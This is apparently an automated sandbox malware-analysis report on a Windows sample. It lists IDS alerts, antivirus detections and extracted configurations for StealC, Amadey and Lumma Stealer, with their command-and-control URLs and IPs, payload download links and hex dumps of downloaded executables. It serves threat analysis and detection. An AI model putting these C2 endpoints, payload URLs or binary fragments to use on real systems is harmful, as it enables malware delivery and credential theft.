Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:40.160190+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:57:53.037572+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:54.063004+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:54.686439+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:55.377655+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:57.040882+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:57:57.539745+0100	2803304	3	Unknown Traffic	192.168.2.4	49756	185.215.113.206	80	TCP
2024-11-20T12:58:01.007508+0100	2803304	3	Unknown Traffic	192.168.2.4	49761	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:39.863343+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50052	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/random.exe(	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exep	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpnS	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exeYq_tYr_.	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/rand	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe8b152	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe7661001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exeR	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs:443/apiB	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exeH	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exec49e1	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe.	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe:	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exec61395	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll6	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllb	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpR	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpD9	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exephp~	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exeJ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exeeX	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllV	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/=	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exeZ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exec61395d7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php:	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Z	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000B.00000003.2138645260.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 70da2e822d.exe.8100.34.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: file.exe.432.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\GuidanceConnectors[1].exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007661001\5bebd091e2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5D6C80

Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_8d7adff8-c

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50081 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_004062D5 FindFirstFileW,FindClose,	14_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00402E18 FindFirstFileW,	14_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7DB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_00D7DB0B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7E334 GetFileAttributesW,FindFirstFileW,FindClose,	24_2_00D7E334
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D8A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,	24_2_00D8A32C
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D865AE FindFirstFileW,FindNextFileW,FindClose,	24_2_00D865AE
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D4C6C2 FindFirstFileExW,	24_2_00D4C6C2
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D872A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	24_2_00D872A6
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D87205 FindFirstFileW,FindClose,	24_2_00D87205
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7D7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_00D7D7CC
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D89E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_00D89E43
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D89F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_00D89F9E

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 18MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50027 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50030
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50032 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50034 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50037
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50039 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50044 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50046 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50050 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50085 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50049 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50052 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 11:57:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 